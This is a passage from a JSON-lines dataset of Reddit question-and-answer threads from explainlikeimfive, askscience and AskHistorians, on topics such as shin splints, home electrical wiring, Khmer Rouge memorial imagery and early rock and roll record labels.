"http://www.alternet.org/story/141550/why_midwestern_small_towns_have_been_ravaged_by_meth_addiction"], ["https://www.reddit.com/r/Drugs/comments/4yro5v/uk_speedamphetamine_mixed_with_ssri/"]]}
{"q_id": "4v8sik", "title": "what actually are shin splints?", "selftext": "I have suffered shin splints or Medial Tibial Stress Syndrome for the past 5 years. I've tried everything I possible can to get rid of them, but nothing gets rid of them for good. I've had a bone scan and everything and my GP says rest is the only cure. I've got orthotics because it's my flat feet that are causing them, but I still suffer.\n\nI've heard multiple answers to what shin splints actually from physios, GPs, Google search. I still never remember. I've heard answers like: it's the muscle tearing away from the bone and its lack of fluid which causes bubbles on the shins.\n\nCan someone please explain like I'm five so that I can remember once and for all!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4v8sik/eli5_what_actually_are_shin_splints/", "answers": {"a_id": ["d5wghmv", "d5wgmjf"], "score": [21, 3], "text": ["When you see a diagram of the muscles and bones in the body, it is drawn to show that the muscles connect to the bones only at the ends of the muscles.  In reality, though, the muscles are adhered directly to the bone where they lie up against it.\n\nIf you've ever cut up a raw chicken, you know that the meat (which is mostly muscle) doesn't just fall off of the bone once the skin is removed.  You have to cut it away, often scraping the meat off of the bone.  Your muscles are stuck to your bones in the same way.\n\nNow imagine your muscles are moving and the stresses from that motion are pulling the muscle either away from the bone or along the bone.  The parts of your muscles that are stuck to the bone get torn as the muscle moves around.  This is what shin splints are.", "If what my coach has told me is correct; if your inner calf is a lot larger, or stronger than your outer shin muscle, and you use it a lot it will pull on the muscle outside your shins and separate it from the bone and put micro tears in it. Running with good running shoes like asics help a lot and running on grass instead of pavement helps. If you currently have shin splints finding the air bubbles in your shin and pushing them up to the top of your shin helps but is very painful. Hope that's what you wanted to know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "62e8lh", "title": "how are we able to isolate the different instruments sounds or voices when listening to music?", "selftext": "Especially with band music,how does the ear  isolate  the bass line,or the Guitar riffs, or the piano accompaniment or the rhythm of the drums when listening to live music or songs on your mp3 player/phone?.\nAs a follow up does that mean our ears can *focus* on a particular sound source like our eyes do with vision?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62e8lh/eli5how_are_we_able_to_isolate_the_different/", "answers": {"a_id": ["dflt14f", "dflva7k"], "score": [5, 2], "text": ["Inside our ears are special hairs with many different sizes that act as tuning forks that vibrate when different pitches or frequencies of sound are heard. Our brains process all these pitches from different-sized hairs together to generate the sounds we hear.\n\nSince we hear pitch, our brains can tune into a certain band of pitches similar to increasing the gain on an equalizer for a certain frequency of sounds. This is how we can isolate certain instruments or voices in an otherwise noisy environment.\n\nAge and exposure to excessively loud sounds will damage these specialized hairs over time and cause us to lose hearing. These hairs do not regenerate so take care of your hearing!", "Another explanation is that each instrument has a different timbre, or sound characteristic. Even though instruments can play the same fundamental pitch, each instruments unique timbre, or sound quality, differentiates instruments from each other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7y07q3", "title": "the electrical system in a house", "selftext": "So I'm about to close on my first house and am pretty excited to tackle all the headaches and stress that comes with it. One thing that kind of goes over my head is the electrical portion of a house. How does it work (from the main circuit breaker to the rest of the house)? What do the numbers (like 100 amp, 220 volt) mean, and why are they important?\n\nI probably should've paid more attention in high school science...", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7y07q3/eli5_the_electrical_system_in_a_house/", "answers": {"a_id": ["ducld8v", "ducngm3"], "score": [2, 6], "text": ["The main breaker controls the entry point to the rest of the circuits. It'll indicate in amps the maximum it can provide.\n\nThe total use of all your electrical appliances can never be more than what a breaker is rated for. This includes the kitchen appliances, lighting, heating if applicable, devices like toasters, computers, etc.\n\nAfter the main breaker, you'll find individual breakers for separate circuits. These have a smaller number of amps, they'll usually control a single room's outlets, lighting for part of a house, etc.\n\nYou'll also have dedicated circuits for electric heating and large appliances like a drier, water heater or electric range.\n\nThe electricity coming into your house is 220 volts, split in two different wires, each 110 volts. For normal 110 volts circuits, the breaker will connect to one wire. For 220 volts circuits, the breaker connects to both wires, giving 220 volts.\n\nMostly, you shouldn't be disconnecting anything in the electrical panel. If you need to change breakers, hire an electrician.\n\nIf you want to replace an outlet or a light receptacle, find the corresponding breaker and turn it off. Test the outlet or receptacle to make sure you got the correct breaker and proceed with your work. You don't need to turn off the main breaker. ", "Electricity is dangerous.  There are building codes which require some things to be done by a licensed electrician because if you do them wrong you can start a fire and burn your house down.  You should never work on a circuit without turning it off at the breaker panel.\n\nIn the US you probably have two phase power in your house.  That means there are two \"hot\" wires and a neutral wire coming into your house, at the electrical panel.  The reason for this is that the two wires are constructed such that there is 120V alternating current between the hot wire and neutral while there is also 240V alternating current between the two hot wires.  This is done by having the voltage oscilate 60 times per second in a sine wave which is 180\u02da out of phase between the two hot wires. (That was the part of High School you've misplaced.)\n\nAs a homeowner, this means you have two kinds of electrical gadgets in your house: 120V things like toasters and TVs that plug into the little face-like plugs in the wall; and 240V things that get twice as much power per amp, like the air conditioner and the oven.  Usually 240V things don't have plugs, to keep your fingers away from the higher voltages, but the dryer probably has a special plug that's not like the toaster's.\n\nEach circuit breaker (unless you buy a super-old house with fuses) only allows so much current before it turns power off.  This is a safety thing, to keep you from plugging in too many things in the same outlet.  Some circuits, like hopefully the ones in the Kitchen (where there is also running water) have ground-fault interrupters that turn off if the current gets out of the wires, because this could shock you.\n\nYou can't run 240V things on 120V, and you can't run the 40A oven on a 15A circuit, but the plugs and wires should already be wired that way (presuming the prior work was done by a licensed electrician)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1glz1k", "title": "Why did the Japanese Army caps in WWII have a star?", "selftext": "What's the reason behind this symbolism? I thought they would have a chrysanthenum, but doesn't seem like it.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1glz1k/why_did_the_japanese_army_caps_in_wwii_have_a_star/", "answers": {"a_id": ["calhyyl"], "score": [5], "text": ["Before the late 1800's Japan was very much, Japanese due to it's closed door policy (which had been in place for hundreds of years).  Western influences were heavy after Commodore Perry forced Japan to open itself up to western trade.  Japan's governing body spent large amounts of money to modernize and transform it's military force into the equal of most western countries.  The film The Last Samurai is a hollywood pastiche of several historical events that shows some of this in process.\n\nMost of the Naval officers during WW2 had learned naval strategy in America and/or England.  If I'm not mistaken, all bridge orders on Imperial ships were spoken in English.\n\nAll that being said, Japan adopted several western motifs and designs for their uniforms, some of these images, like the star, may not reflect a true Japanese origin.\n\nFurther reading here:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Uniforms_of_the_Imperial_Japanese_Army"]]}
{"q_id": "z2j0w", "title": "complete androgen insensitivity syndrome", "selftext": "I've recently read the novel Middlesex by Jeffrey Eugenides. In the novel a character has this genetic syndrome, however I wasn't satisfied with how the author explained it within the text. I'd like a rundown on how it affects appearance and what it actually changes.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/z2j0w/eli5_complete_androgen_insensitivity_syndrome/", "answers": {"a_id": ["c60wwzr"], "score": [2], "text": ["Androgens are hormones cause guys to develop into guys. Without these hormones, the default sex development of humans is to female. During fetal development and puberty, androgens affect different parts of the body, including penis formation, hair growth, etc. In complete androgen insensitivity syndrome, the man's cells do not respond to these hormones because the receptor that recognizes androgens is absent or mutated. The cells continue to mature as if the androgens did not exist at all (much like a female would). Therefore, without this added stimulus, the sex organs, breasts, etc. develop along their default pathway (that is, to female).\n\nEarly on in fetal development, we all (men and women) are physically the same. The labia (exterior of a vagina) precursors form, and with the addition of androgens, the \"lips\" fuse to form a penis. Without androgens, then, they fail to fuse and it still appears as a vagina. However, androgens mainly affect physical appearance, so the testes still exist (rather than ovaries), and still produce androgens (remember, androgens are present, just not recognized by cells). Usually these patients are brought up female, never get their periods (due the absence of uterus), and are diagnosed based on the fact that they have undescended testes in their abdomen. They normally have female tendencies, because androgens have not affected brain development. But remember, for all purposes, these individuals are male (ie. they have an X and Y chromosome, testes, etc.), even though they look and think like females."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "12uv8k", "title": "What exactly changes when we develop \"stronger\" neural connections?", "selftext": "I often read articles discussing how a certain activity or stimulus can \"strengthen neural connections\" or \"increase synaptic strength\".\n\nBut what exactly is observed (or theorised) to have changed when neural connections \"strengthen\"? Is it cellular growth, neurochemical alterations, a change in blood flow or something else?\n\n\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12uv8k/what_exactly_changes_when_we_develop_stronger/", "answers": {"a_id": ["c6ybo6p", "c6ybv3g"], "score": [8, 2], "text": ["It could be a number of things (and I'll list just a couple), but most often refers to a change in the n, p or q of the synapse. That is, the number of vesicles available at a synapse, the probability that each one will be released when an action potential comes along, and the 'size' of the vesicle (sort of how much neurotransmitter is in it). It can also be accompanied by changes on the post-synapse via the addition of extra receptors (more likely a stronger anchoring or more efficient turnover of neurotransmitter receptors), or a change of receptor type or subunit composition. Anatomically, in spiny neurons, spines can grow and shrink or change morphology, and the size and shape of post-synaptic densities can also change.\n\nIn the end basically the connection between the two neurons is stronger. Generally speaking for excitatory contacts that means that this synapse will have a greater likelihood of triggering a response in the post-synaptic cell (calcium or sodium spike or a larger EPSP). For inhibitory connections, this could mean that the ability of the pre-synaptic cell to effectively silence or shunt the post-synaptic cell is stronger.\n\nThere are a heap of other ways synaptic strength can be altered, including feedback mechanisms acting to modulate calcium influx on pre-synaptic terminals, the modulation of neurotransmitter uptake mechanisms on the neurons or related glia, and larger-scale changes in cell membrane properties. As you mentioned, these can certainly be influenced by the glial network and blood flow as well.\n\nIf you're interested in any of the things I mentioned, I can go into greater detail or give a better explanation if something's unclear.", "It means that an action potential at one neuron is more likely to evoke one in the other. This could be either a more effective synapse, or more synapses.\n\nChanges in the extracellular matrix, an electroelastic hydrogel, are hypothesized to create the small perturbations in connectivity, which are then magnified by the classical mechanisms of synaptic plasticity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1hea4h", "title": "why i can watch vods at 1080p, but when i try to watch it live it stutters even at 240p?", "selftext": "It makes no sense that in one scenario I can quickly watch high quality videos and in another scenario I get tremendous lag on video quality that looks like it was shot on a cell phone from 2000. \n\nFor context I'm talking about _URL_0_ and my ISP is TWC. I've heard there's some sort of peering issue between twitch and TWC, but I don't get why that would only affect streaming events and not VODs. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hea4h/eli5_why_i_can_watch_vods_at_1080p_but_when_i_try/", "answers": {"a_id": ["cathiik", "cathm1l"], "score": [2, 4], "text": ["On-demand video can be spread out to a content delivery network (CDN) - basically a whole bunch of servers spread around the internet that all have copies of the data.  Through internet magic, you (almost) always get the one that's closest to you, so you get a fast connection.\n\nWhile they could theoretically do this for live content, I suspect they don't have it set up as well  &  they're trying to directly serve everyone from a single (or smaller group) of servers and are running out of bandwidth.", "It's mostly because you can't buffer live video*. Even if you have a connection that's fast enough, minor spikes in the connection can cause lag. Running something like a [ping test](_URL_0_) is a good way to check how stable your line is, which is different from speed. You won't notice stability issues on a pre-recorded video, but they'll absolutely come out when it's live.\n\nThere are also aspects of how the data's handled on the hardware level that make streaming live video more challenging. It generally isn't a problem if the data feed is good, but it can make a bad feed worse.\n\nGenerally, Twitch is pretty terrible too, so it might just be their problem.\n\n*technically, a some livestreaming services will buffer a tiny amount and delay your video feed by a little bit to compensate. I'm not sure if Twitch does this."]}, "title_urls": [], "selftext_urls": ["Twitch.tv"], "answers_urls": [[], ["http://www.dslreports.com/pingtest"]]}
{"q_id": "74i6jq", "title": "how do scholars know what an artist was \"feeling\" or thinking while painting, how can they really confirm the artists intentions behind a piece of art?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/74i6jq/eli5_how_do_scholars_know_what_an_artist_was/", "answers": {"a_id": ["dnygcz9", "dnym6ci", "dnyn8lk"], "score": [7, 13, 3], "text": ["Short answer is they don't/can't.\nSometimes there is a narrative told by the artist directly, but this is rare.\nI don't have a link, but there is an Adam ruins everything episode related to this, i will edit later if i can find the you tube link.", "They can't, which is why literary scholars around the 1940s, in the era called \"new criticism,\" thought authorial intent was irrelevant. Now, literary theory has changed a lot since then and many might say that the new critics went too far, but you still aren't going to find \"what was the author thinking?\" to be a primary question in academic circles very often.\n\nI mean, even if you have an interview with the author where he says \"This book is about true love.\" the author might become cynical when they are older and say \"Actually, I had no idea what true love was when I wrote that. It's about infatuation and lust, not true love.\" Who is right? The author when they wrote it or the author with perspective looking back on their life?\n\nFurthermore, we are all motivated by things that we are unaware of. The cultural moment we live in influences us in ways that we usually aren't going to be able to see while we are living in that cultural moment. Noir writer Raymond Chandler very well might have not thought his writing expressed sexist beliefs about women but you don't have to be a PhD in literature to see how negative women are often portrayed in his books. (confession: I like his writing despite his antiquated views on gender) So, the reader might be able to catch something that the author never consciously intended but is still very much there in their art.", "Scholars often comb through the historical record looking for anything - *literally* anything - they can find that might give a tiny bit of insight into this, whether the insight is meaningful or not. A good example (not painting related) is the amount of scholarship on the music and performance style of JS Bach that is based entirely on his local church's records of payments made to musicians each week. This seems like a random piece of information but it enables us to know how many actual human beings Bach had to work with, the constraints he had to manage, and his *likely* thought processes in writing his music. This actually led to a revolution over the past ~20 years in how his music is performed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8n58ob", "title": "One of the most prominent images associated with the Khmer Rouge of Cambodia in the West is a pile of skulls, often in a cave. Why and when did this image become prominent in Western imagery of Cambodia, and what were the reasons that people's remains were arranged in this way?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8n58ob/one_of_the_most_prominent_images_associated_with/", "answers": {"a_id": ["dzt8hxt"], "score": [92], "text": ["So this is kind of a complex question and I have done my best to answer it by referring to the history of memorial representations in Cambodia following the Khmer Rouge being toppled in 1979. To summarise, it was a politicised image \\- and one that has been built upon by a succession of journalists and now foreign tourists. It is also a visually striking image and one utilised to inform in a very base/human way the almost unfathomable suffering of the Democratic Kampuchea period. \n\nThe image of the skull, or skulls \\- or piles of skulls \\- had been adopted by Mai Lam, who was a Vietnamese Colonel fluent in Khmer and had extensive experience in legal studies and museology, from the earliest points after the S\\-21 security centre was turned into the 'tuol sleng museum of genocidal crimes'. A large painting of a map of Cambodia, filled with skulls, and rivers of blood was on display until 2002, similar paintings hang in the museum today. The crimes of the Khmer Rouge were politicised by the new government in Cambodia which was essentially under Vietnamese suzerainty. Without going into too much detail \\- there is a reason that the museum at S\\-21 was made to be very reminiscent of museums associated with Nazi concentration camps. The idea of the exhibit was to \\(according to David Chandler\\) 'deny the the leaders of the CPK \\(communist party of kampuchea\\) any socialist credentials and encourage viewers to make connections between the DK regime \\(democratic Kampuchea\\) and Tuol Sleng on the one hand and Nazi Germany and Auschwitz on the other'. Remember at this time the communist Vietnamese were seen in some circles to have invaded Cambodia illegitimately \\(The US and China managed to keep the KR in their seat at the UN\\). The PRK government in Cambodia based its legitimacy on the fact that it had toppled a 'genocidal regime' \\(rather than a callous, radically marxist one\\), however it was in no position to condemn the entire movement as so many prominent figures in this new government were former Khmer Rouge Cadre until they had defected to Vietnam in 1977 and 1978.\n\nSo you have a situation wherein the new government is trying its hardest to be highly explicit in its condemnation of the very top leaders of the Khmer Rouge, they were tried in absentia and sentenced to death in 1979 in the first tribunal to accuse the 'Pol Pot Ieng Sary Clique' of genocide \\(the second is ongoing\\). In evidencing these accusations it became prudent to highlight to the world what the worst aspects of the Khmer Rouge period were \\- and one of the most straightforward ways of doing this would be to expose and excavate the hundreds of thousands of dead bodies which had been victims of execution during the regime. The so called 'killing fields' were dug up, and photographed. It is way too cynical to say that this was only done to prove a political point \\- obviously there is an historical and human element to digging up this tragedy \\- but when you visit places like Tuol Sleng, or its accompanying murder site Cheoung Ek \\(or the Killing Caves at Phnom Sampeau that you seem to be referencing in your question\\), the very explicit exhibits of bones and skulls stacked up behind glass is meant to viscerally remind the onlooker of the tragedy that befell Cambodia \\(and maybe who stopped it as well\\).\n\nI'm afraid I cannot right now give you an accurate answer as to when these images of skull piles began to be a prominent image associated with Cambodia. The Toul Sleng museum opened in 1979 \\(the blood and hair of prisoners was still visible on the floor to these early visitors\\) and international visitors were the only ones allowed for around a year. In this time period John Pilger published his influential documentary 'Cambodia Year Zero' but while there are a few shots of a broken skull there were no piles of bones depicted. Similarly in 1984 'the killing fields' by Roland Joffe was released to much acclaim and the 'idea' of Cambodia and the devastation of the Khmer Rouge was solidified in the western consciousness, one scene depicts a vast waterlogged bone field. I don't have evidence for this but I would assume in the mid 1980s once the memorial stupa was erected in Cheoung Ek \\(the large column containing thousands of skulls behind glass\\) the image may have become more prominent. As this 'killing field' and the museum at S\\-21 are basically locked in for any tourist going to Cambodia it would make sense for the striking images and photos of skulls to be disseminated into the wider 'western image' of Cambodia from this point on. In the mid 90's when the UN transitional peace process occurred there was a wider interest in Cambodia again as it was seen as 'opening up' following the Cold War. Around this time Ben Kiernan publishes the 'Pol Pot Regime', the cover of which is just a photo of skulls excavated with blindfolds still attached. There is a long tradition of books on the subject employing this kind of imagery \\- and for good reason, it is a striking image from a sales point of view.\n\nAs for why the skulls are often arranged in this particular way? I am unaware if there is any cultural significance of the glass, or the arrangement of the skulls in this imposing manner. I have seen many photos of other mass graves excavations around the country and the skulls are often stacked or laid out, it may be a helpful way to account for the number of dead in any given killing site. As for the more 'elaborate' installations near the capital, Mai Lam had also worked on the Vietnam War atrocity museum where the idea is to really move an audience or visitor. I would presume that the arrangement of the skulls is done to primarily shock the viewer, both young and old Cambodians and maybe even more importantly the international visitor. It is actually a fairly alien custom to the Khmer, who are around 92 & #37; Theravada Buddhist, to not properly bury their dead or cremate them. It is thought the dead may not find peace if they are not properly buried. As I alluded to previously \\- these kinds of ossuary have two primary purposes: to shock and remind people of the Khmer Rouge period, and in doing so legitimise the government that toppled the callous regime responsible for these atrocities \\- and the second being one more traditionally associated with memorial.\n\nA more simple answer may be that people are fascinated with these kinds of morbid tourist attractions \\- I would guarantee that 4/5 people you know who have visited Cambodia have a photo with them next to one of the exhibits of skulls at S\\-21 or Cheoung Ek. At the National Gallery of Victoria a recent exhibit by Ron Mueck entitled \"MASS\" \\- gigantic white skulls spread throughout a room \\- is directly influenced by exhibits like those in Cambodia or Rwanda. For many, myself included, seeing the nightmare of the Khmer Rouge regime represented in fields of bones and skulls is an enduring and powerful image, it makes sense that it is so often associated in the western consciousness with Cambodia.\n\nA good secondary source to consult for this is David Chandler's \"Voices From S\\-21: Terror and History in Pol Pot's Secret Prison\", as well as articles like Madness and Mayhem: The Aesthetics of Dark Tourism by Collette Copeland."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9nsng7", "title": "why single oxygen is not found in environment, but it appears as o2 only?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9nsng7/eli5_why_single_oxygen_is_not_found_in/", "answers": {"a_id": ["e7oof5f", "e7oon0i", "e7opg4m"], "score": [29, 6, 6], "text": ["\nIt's just very stable.  An analogy for a 5 yo might be like if millions of little magnets were flying around in the air.  They'll inevitably run into each other, and the ones that match up north to south will click together, and really dont have a good reason to separate.", "It has to do with how oxygen forms bonds with itself. At what's called standard temperature and pressure (0C, 100kPa), oxygen forms a diatomic bond and becomes O2. O1 would only exist in nature at temps below -190C.", "All atomic elements have \u201carms\u201d, the number of arms is determined by the amount of electrons they have in their outer shells. Oxygen has 2 arms, and all elements want to hold hands with other elements. Oxygen tends to hold both hands with one other oxygen atom, so you get O2. Sometimes oxygen will hold hands in a triangle formation with two other oxygens, this is O3 or Ozone.\n\nBasically, any time an element isn\u2019t holding hands with something, it will attempt to hold hands with the first element it finds. This is why you don\u2019t find unbound oxygen naturally in any great amount."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ac618", "title": "How far back in time would you have to go before the people of that era find a modern person 'strange-looking'?", "selftext": "Assuming a modern day resident of Europe, Asia, or Africa starts going backwards in time, attempting to fit in with the people of each era, how long can they go before they look too different to escape notice?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ac618/how_far_back_in_time_would_you_have_to_go_before/", "answers": {"a_id": ["d10ah7s", "d10erjb"], "score": [9, 2], "text": ["How tall are you? If you are over 5'9\" you would start being unusually tall some time before 1900 but would fit in around 1000 at least in Europe. If you have no tattoos or piercings and are not very tall or fat you could probably fit in all the way back to the neanderthal era 50,000 years ago. They might find something indefinably odd about your appearance, the way you walk talk  or carry yourself, your expression. But physically or genetically you would not be very different.", "Your clothing would be a big hint. For instance, if you are wearing a t-shirt, you would be immediately recognized as strange in 1950, because T shirts weren't acceptable outer wear before then. And T-shirts wouldn't exist at all before the Industrial Revolution. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4doqgv", "title": "What made conquistadors, like Pizarro and Cort\u00e9s, such undefeatable entities to south american civilisations?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4doqgv/what_made_conquistadors_like_pizarro_and_cort\u00e9s/", "answers": {"a_id": ["d1taxyw"], "score": [2], "text": ["Pop history did.\n\n/u/anthropology_nerd wrote a nine-part series on \"Myths of Conquest\" over at /r/badhistory which is well worth a read: [final installment](_URL_0_) (containing links to all the previous ones)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/badhistory/comments/2vf565/myths_of_conquest_part_nine_the_terminal_narrative/"]]}
{"q_id": "5f9pix", "title": "How is this cardboard guitar able to withstand the 200+ lbs of tension applied by the strings?", "selftext": "As seen here: _URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5f9pix/how_is_this_cardboard_guitar_able_to_withstand/", "answers": {"a_id": ["daitcqy"], "score": [12], "text": ["Incredible.  OK, after watching the video here are some thoughts:\n\n- The cardboard stock they use is very high quality, this is not some discarded packaging.\n\n- The orientation of the honeycomb structure is crucial.\n\n- If you check 1:30 you see that the fingerboard has a clear layer on top, which also helps playability.\n\n- They do include a truss rod. I suspect that will take a lot of strain in this neck.\n\n- If you look at 2:07, you can see the back of the neck, and it includes a strip of solid material in the center of the neck.\n\n- Check out the artists playing. These are some of the lowest gauge strings I've ever seen. I suspect these are 007s, so much less tension needed. If it were me stringing them, I'd also go into a dropped tuning, again, it'll lower the tension even more.\n\nAbsolutely amazing. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=7Oo2H-W7d6A"], "answers_urls": [[]]}
{"q_id": "rqa2t", "title": "Is there a way to achieve Ambidexterity?", "selftext": "I'm a med student planning on becoming a surgeon, i have excellent precision and ability on my right hand, but on my left hand not so very much. \nSo its there a way i can improve on this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rqa2t/is_there_a_way_to_achieve_ambidexterity/", "answers": {"a_id": ["c47t3g4"], "score": [7], "text": ["So the brain is quite plastic when it comes to learning and perfecting motor movements. You just have to shape the dexterity into your left hand by practicing. Try doing everything with your left hand and avoid using your right hand for a while. If there is a really complex task you wish to perform with your left, then slowly shape the behavior one step at a time ( I'd start at the last step and work my way up)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7kyhnw", "title": "Is Eminem's charge that white artists used black music to get wealthy in the early days of rock and roll fair?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7kyhnw/is_eminems_charge_that_white_artists_used_black/", "answers": {"a_id": ["drifka9"], "score": [189], "text": ["(Part 1)\n\nIn the 1950s, there was a distinct divide between major and minor record labels in the USA. The minor record labels were often regionally-based, and because of their 'minor' status - that is, they were not particularly large - they did not always have consistent, national distribution of their records to record stores. In 2017, it's worth remembering that, in the 1950s, if you wanted to hear recorded music at a time of your choosing, you had to have access to spinning discs like 7\" vinyl records - there were no Spotify, no iPods, etc - on a record player or perhaps a jukebox. Someone needed to physically drive these 7\" records to record stores in places like Alabama, Oregon and Nevada for the song to have any chance in the national charts, and having a national network of people doing this distribution is therefore expensive, and much cheaper and easier if you have lots of records to regularly put in the shops that have a good chance of getting sold.\n\nMinor record labels often found themselves in shallow waters financially, because payments by distributors and royalty payments etc tended to lag - minor record labels often went out of business *because* they had a hit (and so they might, say, have overspent borrowed money on pressing 1.5 million copies, when it had only sold 1 million copies, because while there was still demand when decided to print more, the demand had died down by the time they were pressed and distributed). Which is to say that there was not much money in minor record labels in the 1950s, and plenty of shonky operators who would fleece artists in order to increase their share of the takings/keep the record company afloat while they waited for money to trickle back from the distributors (if it ever did) to pay their creditors with. As a result, it was very typical for rhythm  &  blues acts on minor record labels to be paid a small lump sum fee for their recording - $30, perhaps - and to not expect much more even if the song was a #1 hit on the R & B charts.\n\nIn contrast, there was more money to be made in the (somewhat more staid) world of major record labels. These labels did have consistent national distribution, because they were not specialty labels - a major label like Capitol or RCA in the 1950s in the US put out everything from jazz to pop to classical music to country music. Because these labels had deeper pockets, pressing plants of their own, and better communication with their distributors (typically, they were the distributors), they could much more easily keep up with demand for records. And because of their deeper pockets, they had much stronger, more consistent promotion of their artists, and could weather (for example) printing too many copies of a popular disc much more easily than a minor label. As a result, they were generally also much more conservative than the minor labels, and much less willing to take risks on a fad like rock  &  roll that would probably be over in a year or two.\n\nHere is a table of which rock and roll acts pre-The Beatles' 'Love Me Do' were on which labels, with the white acts in italics:\n\nArtist | Major Label | Minor Label\n---|---|----\n*Bill Haley  &  The Comets* | Decca | -\nFats Domino | - | Imperial\nLittle Richard | - | Specialty\nChuck Berry | - | Chess\n*Elvis Presley* | RCA (1956-) | Sun (1953-1956)\n*Buddy Holly/The Crickets* | Coral/Brunswick (subsidiaries of Decca) | -\n*The Everly Brothers* | Warner Bros (1960-) | Cadence (1955-1959)\n*Jerry Lee Lewis* | - | Sun Records (1956-) \n*Pat Boone* | - | Dot Records (1954-)\nThe Coasters/The Drifters | - | Atlantic Records\nRay Charles | ABC Records (1960-) | Atlantic Records (1952-1959)\nBo Diddley | - | Chess Records\n*Gene Vincent* | Capitol | -\n*Eddie Cochran* | - | Liberty\n*Johnny  &  Dorsey Burnette* | Coral | - \n*Carl Perkins* | Columbia (1958-) | Sun Records (1955-1958)\n\n. \n\nThat list should make it fairly clear that, generally, where the major record labels deigned to notice that rock  &  roll even existed - and there was a lot of pushback by the major labels against what they thought was little more than degenerate noise - the major labels were going to be signing nice white boys who were presumably, in their eyes, less dangerous and more marketable. It was therefore almost always the white rock  &  roll artists who had access to the superior moneymaking potential of major labels. And yes, there was absolutely an element of racism in this, whether it was the public's racism, the record executive's perceptions of the public's racism, or the record executive's racism. Remember that the rock  &  roll era occurred before the Civil Rights act, and that an Elvis Presley had a *much* easier time touring large swathes of America than a Chuck Berry did.\n\nIn terms of the more famous individual white rock  &  roll acts, the obvious one to start with is Elvis: \n\nElvis Presley spent much of his rock  &  roll years before he went into the army covering African-American artists. Unlike Pat Boone (who we'll get to later), Presley had a definite love for R & B music, and his Sun Records singles demonstrates Elvis's relatively obscure taste in R & B; ['Mystery Train'](_URL_7_) is a [Junior Parker cover](_URL_13_), ['Good Rockin' Tonight'](_URL_5_) is a [Roy Brown cover](_URL_9_), while ['That's All Right'](_URL_4_) is [an Arthur Crudup cover](_URL_2_) (all black artists). When Elvis moved to RCA, his two 1956 albums, *Elvis* and *Elvis Presley* are full of covers of black artists, from [Ray Charles' 'I Got A Woman'](_URL_8_), and a bunch of Little Richard songs - ['Tutti Frutti'](_URL_6_), 'Ready Teddy', and 'Long Tall Sally'. The 1956 single ['Hound Dog' was originally by Big Mama Thornton](_URL_1_), and a bunch of new songs were written for Elvis by the African-American songwriter Otis Blackwell such as 'All Shook Up', 'Don't Be Cruel' and 'Return To Sender'. \n\nPeter Guralnick's 1971 book *Feel Like Going Home* quotes Sam Phillips of Sun Records as saying \"If I could find a white man who had the Negro sound and the Negro feel, I could make a billion dollars\"; pre-Elvis, Sun Records had made a name for itself by recording Memphis blues musicians like B.B. King. In a footnote in Guralnick's study of Elvis, *Last Train To Memphis*, Guralnick confirms the accuracy of the quote, but also points out its irony; this was more Phillips frustrated that the great music he was recording wasn't getting its due than a man with dollar signs in his eyes. Nonetheless, once Phillips discovered that a shy young country singer called Elvis Presley was a fan of R & B music, he was in the right place and at the right time to exploit it.\n\nAnother ...interesting case on that list is Pat Boone. Boone was on a minor label, Dot Records, who were nonetheless a reasonably well-established light-entertainment-pop-focused minor label. Dot Records deliberately saw their college-boy crooner Pat Boone as someone who would have the clean cut white boy looks to get away with singing ['Ain't That A Shame'](_URL_12_) ([originally by Fats Domino](_URL_0_)) and ['Tutti Frutti'](_URL_14_) (again). Pat Boone famously hated the 'blunt and ungrammatical' approach of the rhythm  &  blues tunes he was covering, so he really was only singing previously popular R & B songs for the money/fame. And, judging by his (60 years later, almost comical) approach to 'Tutti Frutti', he clearly did not *get* the music. Nonetheless, Little Richard's 'Tutti Frutti' got to #17 on the Billboard charts, and Pat Boone's got to #11. Fats Domino's version of 'Ain't That A Shame' got to #10, and Pat Boone's got to #1. Little Richard has a few different versions of the same quote about his feelings on Pat Boone, including [one in the 1990s BBC series *Dancing In The Street*](_URL_10_); the 1984 one quoted by Wikipedia explains it just as well as any: \n\n >  \"They didn\u2019t want me to be in the white guys' way. ... I felt I was pushed into a rhythm and blues corner to keep out of rockers' way, because that\u2019s where 